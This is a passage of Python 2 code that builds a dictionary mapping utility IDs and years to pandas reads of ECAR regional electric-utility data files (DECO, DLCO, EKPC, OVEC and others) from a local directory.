header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5109 : { 1993 : pd.read_fwf('%s/ecar/1993/DECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DECO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DECO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DECO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DECO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DECO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DECO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DECO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DECO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5487 : { 1993 : pd.read_fwf('%s/ecar/1993/DLCO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DLCO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DLCO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DLCO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DLCO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DLCO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DLCO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DLCO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DLCO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DLCO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DLCO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DLCO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5580 : { 1993 : pd.read_fwf('%s/ecar/1993/EKPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/EKPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/EKPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/EKPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/EKPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/EKPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/EKPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/EKPC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/EKPC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/EKPC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/EKPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/EKPC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9267 : { 1993 : pd.read_fwf('%s/ecar/1993/HEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/HEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/HEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/HEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/HEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/HEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/HEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/HEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/HEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/HEC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/HEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/HEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9273 : { 1993 : pd.read_fwf('%s/ecar/1993/IPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/IPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/IPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/IPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/IPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/IPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/IPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/IPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/IPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/IPL02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/IPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/IPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 10171 : { 1993 : pd.read_fwf('%s/ecar/1993/KUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/KUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/KUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/KUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/KUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 11249 : { 1993 : pd.read_fwf('%s/ecar/1993/LGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/LGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/LGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/LGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/LGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/LGEE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/LGEE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/LGEE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/LGEE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/LGEE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/LGEE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/LGEE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13756 : { 1993 : pd.read_fwf('%s/ecar/1993/NIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/NIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/NIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/NIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/NIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/NIPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/NIPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/NIPS00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/NIPS01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/NIPS02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/NIPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/NIPS04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13998 : { 1993 : pd.read_fwf('%s/ecar/1993/OES93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/OES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/OES95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/OES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 14015 : { 1993 : pd.read_fwf('%s/ecar/1993/OVEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/OVEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/OVEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/OVEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/OVEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/OVEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/OVEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/OVEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/OVEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/OVEC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/OVEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/OVEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 15470 : { 1993 : pd.read_fwf('%s/ecar/1993/PSI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/PSI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/PSI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 17633 : { 1993 : pd.read_fwf('%s/ecar/1993/SIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/SIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/SIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/SIGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/SIGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/SIGE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/SIGE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/SIGE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/SIGE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/SIGE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/SIGE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 18997 : { 1993 : pd.read_fwf('%s/ecar/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/TECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/TECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 40211 : { 1994 : pd.read_fwf('%s/ecar/1994/WVPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2003 : pd.read_fwf('%s/ecar/2003/WVPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/WVPA04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 32208 : { 1997 : 